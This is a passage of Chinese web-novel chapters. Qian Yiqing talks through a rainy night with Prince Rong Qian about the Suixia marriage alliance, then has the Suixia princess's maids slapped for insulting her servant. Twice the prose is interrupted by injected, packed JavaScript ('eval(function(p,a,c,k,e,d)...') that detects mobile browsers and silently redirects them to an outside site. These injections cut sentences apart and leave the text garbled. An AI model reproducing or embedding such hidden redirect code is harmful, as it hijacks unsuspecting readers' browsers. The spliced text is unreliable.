“可有伤到眼睛?”那水里混了些香露,若是处理不当也有可能伤到。 绛雪又摇摇头:“没事,姑娘快睡吧!” 不是“没有”,而是“没事”。千裔清一听就知道,应当是溅到了。 千裔清想了想,掀起被子下床,从柜子中取出药匣,手指在瓶瓶罐罐上轻轻划过,最后取出一直朱红色的高口瓶。 把它递到绛雪手中,千裔清嘱咐道:“睡前涂在眼睑处,一夜就会好了。” “啊?千千姑娘......” 千裔清在她手心按了两下,示意她不用多说:“回去吧,我先睡了。” 绛雪咬着下唇,感动的眼泪马上就要夺眶而出。作为奴婢,她不清楚千裔清的前身经历是什么样的,她只知道自己是个奴婢,从没有人关心过她是否受伤,哪里会痛。 她望着千裔清看了许久,最终欠身行了个颇为标准的谢礼:“谢谢姑娘!奴婢记下了。” - 睡到后半夜,千裔清冷不防的被吵醒了。 她的睡眠质量一向很好,除非天气原因影响了身体不适。 ——外头下雨了。 不但下雨了,而且下的很大。猎猎风声吹得窗子哗哗作响,纵使绛雪临走前仔细检查了门窗,初夏突如起来的骤雨还是太过猛烈,她的小腿皮肉骨血跟着起了连锁反应,酸痛难忍。 听师傅说她的右腿原本是废了的,膝盖骨里进了石屑,而且嵌的很深,因此取出时也颇为费劲。后来终于取出来了,骨头裂缝却再难愈合,还连着伤了腿筋,算是伤的透彻。 鬼山上温度常年如一日,不会太热,也不会太冷,茅屋又是温湿存着热气的,她在山上那么过着也习惯了,如果真有什么不舒服,还有师傅替她想法子。 而今下山却只能靠她自己了。 千裔清叹了口气,朝里头翻了个身继续闭上眼。 窗外的雨声似乎有意跟她过不去,知道她疼得难以入睡反而越下越大,雨滴砸在屋檐窗台的声音像是清晨府上的小厮泼出的第一盆水,带着极重的怨气。 好吵! 她干脆掀起被子蒙在头上。 门窗跟着乱响,因此她也就忽略掉了房门轻微开合的声音。 “睡不着?” 隔着锦被,千裔清听到的声音也是朦朦胧胧的。 只不过这王府里除了那个男人也无人再敢随意进她卧房,她根本不需要动脑子去猜。 千裔清没理他,假装已经入睡。 男人轻笑一声,认定她是装的,毫不留情地扯下光滑的锦被。 被角滑在腰际,接着月光,女子清晰单薄的身形线条别有一番意境。 冷...... 千裔清不满地蹙眉,把被子重新盖过肩头。 容潜垂下头看她,半散的墨发尾梢划过她的侧脸,勾的千裔清有点痒。 “装睡?” 千裔清闭着眼睛接过他的话:“殿下自小学习书礼,难道不知道半夜闯进别人卧房扰人清梦是很不礼貌的行为?” 男人“嗯”了一声,床榻边微沉,像是他侧身坐在身边。 “我知道,不过我进的是自己的王府,看的是我的女人,这似乎没什么不妥。” 是没什么不妥,不过你压着我背角了。 千裔清漠然地转过身平躺着,拢起眼前的碎发,微微侧头看着他:“前院那位也是你的女人,殿下怎么不去陪她?” 千裔清有意赶他走,容潜却以为她的话另有含义:“你吃醋了?” 千裔清:“......” 她实在不知道如何接话,反正说没有他也是不信的。容潜这个人认死理,她早些年就领教过。 千裔清知道容潜没打算走了,她想过答应做他的侍妾要做些什么,也知道献身于他是无可避免的事,只是没想到这一天来的这样早,来的这样猝不及防。 她想起陆离让她认清身份她还出言讥讽,没想到报应来的这样快。 千裔清沉了沉心神,面无表情道:“你压着我被子了。” 容潜目光下移半分,果然见掌下按着她被子边沿,正是被子勒得她不舒服了,千裔清这才肯转过身看他一眼。 容潜突然觉得有些烦闷。他大张旗鼓地接那位皎月公主进府,给足了她排场,所有人都以为自己真的看上了绥夏的公主,尽管他什么也没说。 他承认他是故意的。府上消息传的沸沸扬扬,总会有那么一两句传进千裔清耳朵里,他在想她会不会吃醋,会不会忍不住来找他,会不会和皎月公主争风吃醋。 然而前院忙了一下午,他一直在厅里冷眼坐着不做任何表态。 他在等她。 直到陆离原封不动的把话转达给他,他险些捏碎了杯子,闷在房里好几个时辰。 至于那个皎月公主?谁要管她! 他懒得搭理皎月公主,却是忍不住想瞧瞧面前的这个女人。 纵然听说她早早歇下,可他还是来了。 容潜像是没听到她的话,手上半分力道也没松开。“你为什么睡不着?” “下雨了。”千裔清丢给她三个字,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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拇指指腹在掌心来回轻柔,容潜在感受她手上的温度,过了一会儿,他低沉的声线又在耳边响起:“是很冷。马上就进下旬了,你怎么还这样怕冷?” 说完,他陡然松开手,在她暗自松口气的时候,那只胳膊绕过她头顶,一手轻轻抬起她的脑袋放在自己手臂上,接着手臂搂在她腰侧,捞着她翻身撞进自己怀里。 做完这些,他又把手臂圈紧一些,如此才算满意了。 千裔清自始至终像块木头一样任他摆布。 他身上的香气好闻的紧,能让人心神沉静,其中仿佛有几味安神的香料。 他平日里睡得不好吗? “在想什么?” 男人的声音紧贴着额头之上,温和中尾音却带着挑起的诱惑。 千裔清微微睁眼,又闭上,心中清醒安定了不少,已经习惯了这个姿势:“,我在想......绥夏的使臣何时离开?” “六月初七是绥夏的民俗大典,在那之前他们会回去。” 掌下的纤腰比他想象的更加不堪一握,也比他想象的更加冰凉,像是暖不透似的。 “也就是说,他们可能还要待上半个月?” 那这半个月中岂不是还会有变数。 “你很希望他们走吗?” 容潜跟她搭着话,怀中的人已经没有开始那般僵硬,逐渐柔软下来,反倒引起他的更多遐想。他努力克制着,才让自己的手堪堪停在她腰上没再乱动。 千裔清不知道他脑子里在想什么,只顾着继续问出自己的疑惑:“那,和亲的事定了吗?” 话一问出,腰上的手突然在她薄嫩的皮肤上掐了一下,力道控制的很好,不至于太痛,却能让她发出一声诧异的嘤咛。 “你是不是太着急了点?” 容潜其实有些生气,她就这么迫不及待想让自己娶别的女人吗? 千裔清吃痛过后便知道容潜不高兴了,她很自觉去做投怀送抱的女人,两只柔弱无骨的玉臂缠上他腰间,微微抬头,鼻尖唇瓣就贴在对方的脖颈上。 她调整了一下姿势,努力地把自己和对方的缝隙贴合的更紧,膝盖悄悄嵌进他腿间:“好冷。” 女儿香气紧贴脖颈,仅仅简短两个字就灼伤了他的皮肤。 男人的呼吸声越发沉重,一呼一吸之间都带着极大的隐忍之意。 是她在讨好。 她什么时候会讨好? 只有在有求于他,或是心虚觉得对他不起的时候。 一想到这儿,容潜就免不了心中要动气。 她不是一个喜欢讨好的人,她骨子里有清高,若无所得绝不肯委身求全。 她......又在打着利用自己的主意! 40. 夜谈 “既然觉得冷就不要乱动。”说完,容潜把她身后的被角掖紧,似是轻叹了口气,他陡然问道,“你觉得绥夏与夜南的关系如何?” 千裔清虽然不懂国政,但身为夜南百姓,多少对两国关系还有些了解。 她沉吟片刻,坦白说道:“绥夏与夜南相邻,十数年来一直关系焦灼。” 容潜默然,算是对她的话认同,而后他又问:“那你以为,父皇与皇兄待绥夏有何不同?” 千裔清一怔,微微仰头想看看他的表情,然而两人实在贴的太紧,她抬头,视线之内只有他锋利的下颌线,以及因为她的动作而上下滚动的喉结。 嗯......他身上的香还真是好闻。 “说了不要乱动。”揽在背后的大手在她腰际掐了一下,隔着单薄的衣裳,这力道不像是责怪,倒更像是调情。只是他语气倒实在算不上和善。 千裔清不明白容潜为何有此发问,但问题中的两个人物都不是她可以妄加议论的,她想了想,委婉表述自己的想法:“听闻先皇还在世时,容......皇上曾多次向先皇进言,希望可以出征绥夏。不过绥夏地广人多,与我朝实力相差不多,若打起仗来恐怕耗时耗力,死伤无法预计,就连百姓也不得安宁,我想......先皇也是为了百姓着想才一直没有动作吧。” “你倒是会给他的懦弱找借口。”容潜冷哼一声。 千裔清住了嘴,不置可否。 绥夏不止一次的试图侵入我朝边境,只是迫于夜南守备毫不懈怠,一直没敢大动干戈,至于为何绥夏一直没有出动,恐怕也是对夜南的兵力有所忌惮。说起来,两国之间绝对算不上和谐。 “说下去。” 既然知道听了会不高兴还非要她说。 千裔清悄悄撇嘴,跳过对永光帝的评价继续回答他:“皇上还是太子的时候曾请命和武安王......一同出兵,不顾先皇一直未答允,或许皇上也心有不甘。” 说到武安王时,她感觉到腰侧的手臂有些许的僵硬,虽然只是瞬间。想想也对,容潜和他这位八皇兄关系亲近,就连武安王的遗体都是他亲自迎回来的,他会伤感,再合理不过。 容潜“嗯”了一声:“既然你说他心有不甘,那依你所想,皇兄如今继任,你觉得他会放下昔日执念么?” 从前容烨最大的阻力可以说是先皇,如今先皇过世,容烨一手掌权,以他的性子,断不会放下心中旧想跟绥夏和平共处。 所以答案是——不会。 “不敢说?”见她没答话,容潜催促道,“这里只有你我,但说无妨。” 不是不敢说,是好像哪里不太对。 如果容烨并没放下攻打绥夏的想法,那为何又要接待皎月公主并答允两国的和亲之事?莫非是打算先稳住对方? 好像也只有这个理由可以解释的通,但这么解释又很牵强。 “他不会。”容潜在她头顶低低笑道,“你不敢说,我替你说就是。” 容潜嗅着她发间香气,闭着眼睛缓缓开口:“父皇未尝不想攻破绥夏,只是皇兄是他最喜爱的儿子,无论如何,他都不会让皇兄涉险,若换做是我,想必他会答应的。”说到这,容潜像是自嘲般轻嗤一声,“从前我很羡慕皇兄,后来我才知道,原来他也很羡慕我。” 原来纵是含着金玉出生的皇室贵胄也会有不得意的时候,集完全宠爱于一身的容烨也曾有被荣宠所困的一天,而遭人冷眼的容潜也有被天之骄子羡慕的一天。 千裔清好像突然明白如今容潜与容烨的关系为何更亲近了。 指尖划过他背部结实的线条,那是长年习武练兵才会有的身形,莫名让人觉得踏实。她的手指最终停在他心后的位置,安抚似的轻拍了几下。 “你很好,自然有很多人羡慕你。” 容潜微微一僵,深吸一口气把她抱紧,在她发间磨蹭几下,鼻尖溢出愉悦的轻笑:“只有你会觉得我好,从前是,现在也是。” 千裔清被他勒的呼吸一滞,恍惚记起以前也对他说过类似的话。只不过那时候她是真的觉得他好,现在么...... 姑且算安慰他吧。 “所以你说了这么多,是想告诉我和亲只是权宜之计?”千裔清努力地把手挤进两人中间,总算是给自己留出一丝喘气的空间。 头顶上方传来容潜的声音,低沉而又温和:“我是想说,在这间王府里你不用害怕任何人,就算她是公主,你也不必委屈自己。” 千裔清想起白日里听见的动静:“她很难相处?” “大概。” 既然难相处,那就尽量避免相处不就好了? 千裔清想了想,很乖巧的说:“殿下放心,我不会让您为难的。” “你是真不明白还是假装听不懂?”容潜一时不知道该笑她的听话还是该骂她蠢,撑起身掐着她下巴迫使她看着自己。 双唇被他捏着微微张开,脸颊上的力道让她说话时也不能很好的闭合,样子看起来有些无措。 千裔清眨了眨眼,费力地开口说话:“我该听懂什么?” 容潜盯着她看了一会儿,唇角紧紧抿着。僵持很久,他蓦的低头在她唇上狠狠咬了一口,千裔清突然吃痛,惊呼一声就要推开他。 然而容潜显然早已预料到她的动作,胸膛抵着她撑着的双手用力压下,让人动弹不得。 “疼?”容潜不高兴地睨着她,“还有更疼的,要不要试试?” 生什么气?难道他想看自己跟皎月公主整日撕打?这是什么怪癖好...... 容潜顿了顿,说道:“整整一日,若我不来,你可会去找我?” 千裔清一愣,望着他墨色的眼眸,努力地读取他眼中的怒意。她心中隐隐生起一个十分幼稚却又意外合理的想法。 她轻声试探地问:“殿下是在气我下午没去前厅?” 所以,他方才说的那番话是在赋予她权利吃醋发脾气? 不,确切的说,是他希望她吃醋发脾气。 “殿下误会了,我只是怕见到您和皎月公主郎才女貌的而伤心罢了。”说着,她还露出一副伤感的神情。 “是么?你跟陆离可不是这么说的。” 千裔清面色不变,从容地回应他:“对待外人,我总要给自己留几分面子。” 容潜冷然道:“你在骗我。”盯着她看了片刻,他突然像是想通了,好心情地笑了起来,“你骗人的话讲的真好听,我喜欢听。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14936053|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说完,他抬着她下巴压了下去,唇齿间只剩下浓重的呼吸声和断断续续的嘤咛。 他的攻势太猛,侵略性又太强,丝毫没打算给她留一丝一毫喘息的机会,千裔清只好尽自己最大的力量推着他,然而唇上又不敢太过于拂他的意,只得半是应付着,以免惹怒了对方。 只是这样一来,这个吻就变得十分不纯粹。她的心思太多,顾忌太多,不坦荡也太多。 她不专心,容潜是一定能察觉到的。 在她还没有完全窒息前,容潜陡然放开他,冷冽矜贵的面庞随着拉开几分带着克制和隐忍的距离。 “你不喜欢我亲你?” 千裔清怔住,只是一瞬间便反应过来,弯着眼睛看他:“喜欢。” 唇角的弧度和眼尾的曲线皆是欢喜的神色,但又太浮于表面,若是从前他定会被她诓骗。 只是今非昔比,她从未想过面前的男人会比自己更加了解自己的许多细节。 红嫩的唇瓣颜色娇艳,唇角还带着滋润的晶莹,他抬手将它抹去,指腹上粗糙的指纹在她脸上划过时带着异样的灼热。 “说实话。”容潜微微眯着眼,语气中带着蛊惑的意味。 但毫无疑问,她说了实话一定会惹他不悦。此情此景,这点分寸她还是把握的了的。 “喜欢,可是你压的我喘不过气了。”千裔清伸出手,双手捧上他的侧脸,眼神若有似无的落在他微抿的唇上,像是意有所指,也是在印证自己所言非虚。 “很好。”他这才满意的笑了,纵是知道千裔清口中仍是假话,但他就是觉得好听。 至少,她在意他是不是会不高兴。 容潜抱着她翻了个身,又重新回到先前那个姿势,下巴就搁在她头顶,把人紧紧缚在怀里。 “明日一早我会进宫,你要的那些药材我会差人送来,你乖乖留在府里,有什么事便找陆离。” 千裔清滞了滞,问道:“你也知道越曦的事吗?” “知道,不过那与我无关。” 他回答的意外干脆,千裔清默然,微微蜷起的指尖轻戳他的脊背,容潜感应到她在思索。 “你有话要说?” 她不知道是不是该告诉容潜越曦对她的请求,按照人之常情,容潜应该是站在自己血浓于水的兄长那边,如果他知道了,会不会告诉容烨? 千裔清顿了顿,假装担心道:“没有,只是师傅不在,我怕自己做不好,辜负了皇上的信任。” 容潜随意道:“做不好就不做,他不会为难你。” “真的?若皇上怪罪,殿下会帮我?” “会。” 得到了想要的回答,千裔清觉得心中放松不少,她鼻间溢出一丝轻快,在他怀中蹭了蹭:“多谢殿下。” “睡吧。”头顶上方传来他淡淡的两个字,随后是均匀的呼吸声,他果真再没动作。 就这样? 千裔清心底有些诧异,她原以为…… 算了,这样也挺好。 雨声渐渐小了起来,房里的湿意渐小,暖意缓缓腾升。 千裔清瞪眼挣扎了没一会儿便忍不住眯起眼睛,任由他紧紧箍着,也顾不得自己是不是不大舒服,就这么睡着了。 41. 挑事 夜雨滴空阶,到了早晨,屋檐上的雨渍已经干了一半,雀声正脆,屋里的人还埋在丝羽寝被中做着美梦。 只可惜好景不长,千裔清是被外头哭哭啼啼的声音吵醒的。 宽大的床铺外侧空空的,显然容潜已经走了许久。千裔清想起昨夜他说起今日有事进宫,揉了揉眼睛,只听得窗外的女声越来越大,头脑霎时清醒许多。 千裔清披上外衣,推开床尾正对的窗子,只一转头向门口方向看去,就见到十分熟悉的两个身影——一个抹着眼泪,一个正在劝慰。 “咱们做下人的可不就是免不了受委屈,这么多年你还没习惯啊?” “可她又不是咱们的主子!” “我知道!好了好了,快把眼泪擦擦,待会儿姑娘醒了瞧见可就不好了!” 隔着老远还能看到绛珠不服气的背影一直抽泣着。 府里众人一向和气,绛雪和绛珠又是府上唯二的两个婢女,家仆们总还是会多担待些,再加上她们二人是跟着千裔清做事的,这般场景就算是放在两年前也未曾见过。 千裔清叹了口气,心中已经猜了个八九不离十。 她遥遥喊了一声:“进来吧,我已经瞧见了。” 转身回床榻坐着,没过多久,果然见两人犹犹豫豫地推门进来。 千裔清打了个哈欠,肩上的衣裳跟着她抬手的动作滑落半截,绛雪连忙上前为她更衣,又对着绛珠摇了摇头,示意她不要惹麻烦。 绛珠咬咬嘴唇,低着头去铜盆中浸湿帕子,递过来时,水还温着。 千裔清擦了擦脸,见她们二人仿若一副什么都没发生的样子,仍是尽心沉默的服侍着。她不由得挑眉,这会子倒是沉得住气了? “你们两个还真不打算说?” 绛雪看了绛珠一眼,为她继续梳发:“是绛珠跟府上下人拌了几句,姑娘不用放在心上。” “咱们绛珠嘴这么甜还会跟人拌嘴?”千裔清有些好笑地从镜子中挑起眼尾扫了绛雪一眼,“不必梳那么繁琐的发髻,简单点就好......哎哎哎!不要那么多发饰,太重了!” 这俩人像是打定主意要把她打扮成正宫娘娘一般,一个接一个的往她发间嵌满了珠翠,她只好一个个的又取下来。 “是不是受了那位公主的气,想让我帮你们讨回来?” 绛珠张了张嘴,气鼓鼓道:“没有。” 千裔清转过身看着她打趣:“没有?没有为什么在我房门前哭哭啼啼的,难道不是故意让我听见好给你们做主?” 绛珠急道:“没有没有!奴婢真的不是这个意思!” “既然不是这个意思,还不一五一十的说清楚。”把右耳的翡翠也取下,她这才觉得脖子头上都轻松了一些。 两个婢女对视一眼,绛雪欠了欠身:“姑娘也知道的,咱们院子离厨房近,旁人若在膳食上有什么交待,免不了要经过咱们这儿,咱们府上只有奴婢和绛珠两个婢子,所以......免不了惹人注意一些......” 绛雪这话说的委婉,却是很清楚的表达了是有人主动来找麻烦,而不是由自己先挑起的事端。 千裔清点点头,心想这绛雪不但是个沉得住气的,还挺会说话。 接过绛珠递来的赤枣茶,千裔清喝了一口,胃里又甜又暖,心情也好了几分,她看向绛珠:“该你了。” 绛珠微微垂头:“殿下早上离府的时候交待奴婢,说昨夜雨下的凉,让姑娘醒来时记得喝碗甜茶暖暖身子——” 千裔清捧着茶碗的动作一顿,顿时觉得这碗赤枣茶滋味变得复杂起来。她淡淡“嗯”了一声:“继续说。” “奴婢去煮水的时候恰好遇上那位绥夏公主的两个侍女在跟厨房交待......”想起那一长篇的膳食要求,连绛珠都不免为几个厨子抹一把汗,“您是不知道,那位公主的要求可真多!口味可真刁钻!这不纯粹是在为难人——” “咳咳——” 绛雪轻咳两声,接着斜了绛珠一眼,绛珠这才发觉自己只顾抱怨,离题越来越远。颇为尴尬地摸了摸耳朵,将话题调转回来:“奴婢一直在一旁听着,想着姑娘不愿意多生事端便打算提了水便走的,只是那两个丫头好没礼貌,脱口便问我为什么不和她们行礼!大家都是奴婢,为什么我要和她们行礼?更何况是两个绥夏来的野蛮人!” 的确,大家都是在府上做事的,虽是各事其主,但她们两人并不比谁高贵,绛珠也没理由向她们行礼。 更何况,她们是绥夏人。 千裔清颔首,认同道:“这话你也和她们说了?” “说了!”绛珠鼓着脸颊哼了一声,“就是因为说了,才惹得一肚子气!” “还是奴婢来说吧。”绛雪看了绛珠一眼,这丫头一直在气头上,话也说不明白,她只好替绛珠解释,“绛珠本也是好生和她们说的,不过她们两个实在是无理取闹,见绛珠不肯服软,便言语责骂她,还用她们的主子压咱们......姑娘也知道,绛珠心直口快,遇见这种情况自然是要和她们理论的。” 千裔清一怔,嘴角微微抽了几下,狐疑地看着绛珠:“莫不是你与她们吵输了才哭的?” “当然不是!”绛珠横了绛雪一眼,瘪着嘴道,“是绛雪恰好来了,硬是要把我拉走,我还没怎么和她们吵呢。” 千裔清一时失语:“......那你哭什么?” 绛雪犹豫着开口:“其实奴婢也听着几句,那两个女人骂的实在难听,不仅侮辱我们娘亲,还......还说主子您......” 良好的教养让她实在无法继续说下去,她只觉得又惊讶又生气,同样是人,怎么那两人能说出那么多新鲜的辱骂词汇,比街头与人吵架的卖菜大嫂还要令人难以苟同。 千裔清也算是听明白了,这皎月公主已经打听清楚府上的情况,自然也知道了她的存在。这次的事并不是意外,是对方有意给她个下马威来的。 这样一来,绛珠算是代自己受了委屈。那皎月公主的侍女指桑骂槐,骂了绛珠,不就是在骂自己吗? 千裔清冷笑,她要受容烨和容潜的威胁也就罢了,到这里还要受她一个异族女人的气?哪有这个道理!再加上昨夜容潜的话,她明白了天子对绥夏的态度,现在便更觉得不怕了。 沉了沉心神,千裔清道:“她是公主,本就出身尊贵,纵是你们给我穿再华丽的衣裳、戴再贵重的首饰都是无用的。” 绛雪和绛珠相视一眼,讪笑:“原来姑娘看出来了。” 这么明显,她当然看得出来。 稍作思索,千裔清说道:“咱们去前院,记得喊上几个身体壮实的家仆一起,最好会些简单拳脚,一定得是又听话又不怕事的。” 绛珠疑惑:“叫家仆做什么?” 千裔清笑了笑:“自然是去见那位皎月公主了。” - 壮年男子的脚程自然是比寻常女子要快的,他们先一步去了皎月公主的院子外候着。 其实千裔清今日起的并不算早,就连那赤枣茶都是放凉了两次后又重新做的,容潜知道她晨起总没什么胃口,所以才特意吩咐了绛珠煮茶给她暖身子。 饭菜吃不下,茶水总是喝的下的。 虽说这人总是别别扭扭的,倒还挺细心,也挺会想法子。 千裔清垂眸,连自己都没发觉嘴角已经微微泛起的细微弧度。 正这么想着,三人已经接近皎月公主的住处。同样的,还有耳熟的尖锐的两道女声,绛珠一听便不由自主皱起了眉,正是那两个侍女不错了。 一身丁香色华裳的女子正抱着手立着,衣服上泛着金色的暗线以及满头的珠钗无一不彰显她的尊贵身份,不过此时这女子正背对着千裔清,似是在冷眼旁观两个侍女对院中几人的指责。 脚步声愈近,华裳女子听得动静转过身来,正对上千裔清漠然的目光。 她脸上闪过一瞬的惊讶,随即拧眉:“你是什么人?见了本公主还不行礼?” 千裔清没说话,只是上上下下把她打量了一遍,末了还有些不屑。 这目光看的对方全身都不大自在:“问你话呢!你是什么人?” 千裔清收回打量的目光微微一笑:“皎 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“怎么,我说错了?”千裔清佯装惊讶,“这么说来,公主真觉得自己比夜南天子的亲弟弟、战功赫赫的崇安王更加高贵了?” 她刻意把后半句咬的十分清楚,一是提醒皎月公主此番是为和亲而来,若要讲和,便要尊敬夜南的天子;这二来是把容潜的身份再提一遍,他乃是掌管夜南军权的王爷,不是她一个被弃来谈和之人所能比拟的。 若这皎月公主再口无遮拦,那就是傻子了。 皎月公主自然不是傻子,平白被噎了一回,她却还真不能为此事怼回去,当真是心中有苦说不出口。 她努力平静下来:“你不用故意诱我说那些话,一个低贱的侍妾而已,本公主懒得与你计较!我问你——”皎月公主指着院中站了好一会儿的几个家仆说道,“你为什么让他们守在我的院子外面?” “自然是照应着公主有什么吩咐,也好让我尽一尽地主之谊。”千裔清扫了几人一眼,“这几人都是府上的忠仆,是殿下看重的人,我既比公主先入府,又比你年长一些,做姐姐的理应替殿下照顾妹妹,公主觉得不妥吗?” 皎月公主深吸口气,突然粲然一笑:“没什么不妥的,既然是崇安王府的忠仆,以后就是我的人,我和殿下不必分你我。” 说完,她故意挑了挑眉毛,想看看千裔清因为嫉妒而气急败坏的样子。只是让她失望了,千裔清并没什么反应,甚至可以说是无动于衷。 皎月公主说道:“好了,本公主现在没有什么吩咐,你们几个先退下去吧!” 几人看了千裔清一眼,立在原地纹丝不动。这便让皎月公主有些气恼。 “愣着干什么?你们几个都是聋子吗?”她转身看向千裔清,语气中满是不耐烦,“你还想耍什么花样?” 千裔清冷眼瞧着她:“倒也没什么。公主手下的人不懂事欺辱了我院子里的丫头,我替我家丫头找她们二人讨个说法!” 皎月公主不屑:“不过是两个下人而已,你这样兴师动众的岂不是有失身份?夜南的姑娘还真是小家子气!” 千裔清没理她,侧过头对绛珠说:“她们两个交给你了,随你怎么出气都好。” “这......”想起路上千裔清的话,绛珠有些担心,压低了声音说道,“公主还在这,不会出什么事吧?” “怕什么?不是有我在吗?”千裔清拍拍她肩头安慰道,“只要不出人命怎么闹都行,我说的。” 得到了肯定的答复,绛珠考虑再三,咬牙道:“行!奴婢听您的!” 说完,她上前一步,对着几个家仆大声吆喝道:“你们几个!把秋露和冬云拿下!” 这一声命令喊的猝不及防,几个家仆反应倒是极快,立刻反手将二人制住。 “这——公主救命啊——” 皎月公主也是一愣,待回过神来,立刻指着千裔清怒道:“你干什么!居然敢动本公主的人,还不快些把她们放了!” 千裔清好整以暇的看着她,语气微凉:“公主别急啊,不过是两个下人,公主这么着急岂不是失了身份,倒显得小家子气!” 42. 还击 “噗嗤——”一旁的绛雪也没忍住笑出声,方才出口的话不过一个回合便被悉数还回,还真是滑稽。这位公主怕是要气死了! 这一声取笑引得其他的家仆也跟着一起暗笑,整个小院蕴着一阵阵窸窸窣窣的笑声,越是藏着越是刺耳。这般屈辱是身为公主的她从未受过的。 皎月公主顿时觉得脸上挂不住了,叉腰指着千裔清喊道:“我命令你,把她们两个放了!” 千裔清颇感无趣的上前,目光在秋露和冬云脸上来来回回转了几圈。 想了想,她捏着下巴问道:“你们两个,是谁说我家丫头上梁不正下梁歪,主子也定是个下贱坯子来着?” 秋露和冬云对视一眼,咬着唇不答。 “既然不肯承认,那我只好当你们两个都默认了——绛珠,打吧。” “好嘞!”绛珠撸起袖子上前。 说到动手,绛珠不免觉得兴奋,她一向只动动嘴皮子,还没真如此大动干戈过。不过既然是讨说法,还是很值得一试的! 叫来的几人都会些简单的擒拿功夫,更何况是两个身形力气都相差甚远的女子,任由她们如何挣扎都是徒劳。 绛珠才刚一抬手,公主一把拦下,扼住绛珠的手腕。她瞪着千裔清:“她们是我的贴身侍女,你动她们就是对我不敬!是对绥夏不敬!这份责任你敢担吗?” 在公主眼中,千裔清不过是个在府上无名无份,自身又毫无背景的女人,只是仗着有副好皮囊才能混的一时得意罢了。她只觉得绥夏多年与夜南旗鼓相当,何尝知晓容烨多年的心思。 “那公主可知绛珠也是跟在崇安王身边多年的侍女,你的人欺辱她,就等同于欺辱崇安王,也就是......欺辱当今圣上。”面对皎月公主的张牙舞爪,千裔清只是不紧不慢的反问她,“皎月公主,这份责任你敢担吗?” 对方气势虽盛,但相较于千裔清的沉着冷静,她越是气盛便显得越是可笑,气势上反倒弱了下来。 话头上吃了两次亏,皎月公主也意识到公主身份并不能压制对方。这千裔清是个牙尖嘴利的,她说上一句,对方便能用同样的话回击她,虽是不能真吓得到她,却也难缠的很。 这哑巴亏怕是只能咽下了。 想到这里,她缓缓松开握着绛珠手腕的手,转过身走远了几步。 秋露和冬云自小跟在她身边,她自己嚣张跋扈惯了,身边的侍女也跟着她的性子来。 只是她忘了,这里不是绥夏,不是她的家。 这里是夜南,是她的两位姐姐都不愿来的地方,因此秉性遭嫌的她理所当然成为了两国交好的附属品,也是......绥夏的弃子。 千裔清斜睨着她的背影,觉得皎月公主的背影突然有点颓然,气焰灭了八分。沉吟片刻,千裔清再度审视着两个侍女:“我再问一次,那些话是谁说的?” 意料之外的,两人嘴倒是很硬,很有义气的仍是紧紧抿着嘴不吭声。 见两人缄口不言,绛珠问道:“姑娘,那我可真打了?” “嗯。”千裔清随意应了一声,在院子中的石凳上坐下,绛雪则是在一旁打着扇子为她遮阳。 安静的院中响起清脆的巴掌声,伴随着的还有绛珠每一巴掌中夹带的话。 “啪——” “这一巴掌打你目中无人,自以为高人一等!” “啪——” “这一巴掌打你认不清自己的身份,还以为这是你们绥夏国境!” “啪——” “这一巴掌打你不知天高地厚,不知道崇安王府的主人是谁!” “啪——” “这一巴掌打你没教养满嘴污言秽语,只会给你父母丢人!” ...... 巴掌声不断在院中回响,不仅是为绛珠出气,每句话都带着指桑骂槐的意思。 看似教训仆人,其实每一句都是在影射皎月公主。 这些话,自然也都是千裔清教的。 皎月公主并没离开,每一句的尾音都清晰的落在她的耳畔,像刀子一样狠狠刮她的心。 她忍不住横眉:“你打人就打人,说这些话难道不是在指桑骂槐!” 哟,听出来了?倒也不算太蠢。 千裔清微微抬眼,头顶的太阳晃的她睁不开眼,睫毛轻颤,努力挣扎了几下,她又阖上了,懒散地开口说道:“公主未免太多心了,我是在教训下人呢。” 皎月公主道:“就算是教训,打了这么多下你也该出气了!可以停手了吧!” 千裔清这才缓缓撑起身子,再瞧过去,两人的脸都肿的红紫,巴掌印早已糊成一团,分看不清原处的指痕如何。 千裔清的目光落向绛珠:“你可消气了?” “不打了不打了,打的我手都酸了!”绛珠揉着手腕心满意足道。 既然差不多了,千裔清也懒得再耽搁,这院里树荫少的可怜,太阳直直落下,晒的人头疼。她点点头起身:“嗯,那就回去吧。” 话音刚落,陆离像是掐好了时间一样抬脚进门,他的身影停在院门拐角的地方:“千千姑娘,您要的东西送过来了,您看是先收起来还是?” 算算时辰,陆离说的应该是她前些日子送进宫的药物清单寻齐了。 千裔清想了想:“不急,我先看看,东西在哪儿?” “暂时都让人放在扶光阁了。” “好。”千裔清回头看了一眼,“看样子公主今日应当没时间跟我闲谈,那我就不打扰了。” 走出一段距离,绛珠便忍不住叽叽喳喳发表方才感受,兴奋的样子宛若十岁的孩童,绛雪则是笑着听她讲,一面让她小点声。 “你在外面看了多久?” “啊?”陆离一愣,面上有些尴尬,“也没多久......刚来、刚来。” 她才不会信陆离说的。先不说他原本就待在府上,这么大的阵仗,按照常理陆离一定是第一个知道的。再说了,怎么这么巧她这边刚刚结束,陆离就一脚踏进院子,一刻都不带耽搁的,准是在外面看够了好戏才出现。 千裔清疑惑道:“我记得你和皎月公主并无什么接触,再说了,你是殿下的亲信,她对你应当还算客气,怎么好像你也不大喜欢她?” 陆离闻言皱起眉头:“她是绥夏人。” “我知道她是绥夏人,那又怎么了?她毕竟是你家殿下亲自接进府的人,不日之后也会是你的主子,你确定不巴结一下?”说完,她揶揄地挑了挑眉。 陆离摇头:“姑娘是不是还不知道武安王就是死于绥夏人手中?殿下与武安王是至亲,殿下不会忘,属下自然也不敢忘。” 千裔清似笑非笑道:“你怎么知道殿下不会忘?他若真的将兄弟之死凌驾于国家安定之上就不会轻易答应和亲的事。” “殿下是重情重义的人,而且......”陆离瞟了她一眼,有些欲言又止的样子,但最终还是摇了摇头,再一抬眼,扶光阁的牌匾已经在眼前了。 